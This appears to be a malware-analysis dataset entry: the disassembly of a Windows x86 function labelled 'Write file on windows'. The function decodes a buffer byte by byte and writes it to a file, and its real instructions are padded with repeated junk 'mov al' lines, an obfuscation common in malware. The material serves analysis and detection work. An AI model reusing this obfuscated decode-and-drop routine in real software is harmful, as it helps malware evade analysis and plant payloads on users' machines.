Function at 0x4031b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 9], 0
mov dword [ebp - 4], 0x2a
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00404180
add esp, 4
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
cmp dword [ebp - 8], 0xffffffff
je 0x4033c9
mov dword [ebp - 0x1c], 0
jmp 0x403279
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp + 0xc]
jae 0x4033a5
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x1c]
mov cl, byte [eax]
mov byte [ebp - 0x15], cl
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
movsx edx, byte [ebp + 0x14]
movsx eax, byte [ebp - 0x15]
sub eax, edx
mov byte [ebp - 0x15], al
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
movsx ecx, byte [ebp - 0x15]
sub ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x15], cl
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
cmp dword [ebp - 0x1c], 0x2f0
jbe 0x403351
cmp dword [ebp - 0x1c], 0x2ff
jae 0x403351
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
call fcn.0040418a
mov byte [ebp - 0x15], al
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
push 0
lea edx, [ebp - 0x10]
push edx
push 1
lea eax, [ebp - 0x15]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
jmp 0x403270
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x4033c9
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
mov byte [ebp - 9], 1
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 0x74
mov al, 0xfc
mov al, 0xf3
mov al, 0xf4
mov al, 0x37
mov al, 0x75
mov al, 0x88
mov al, 0x47
mov al, 0xc7
mov al, 0x86
mov al, 0x48
mov al, 0x9f
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret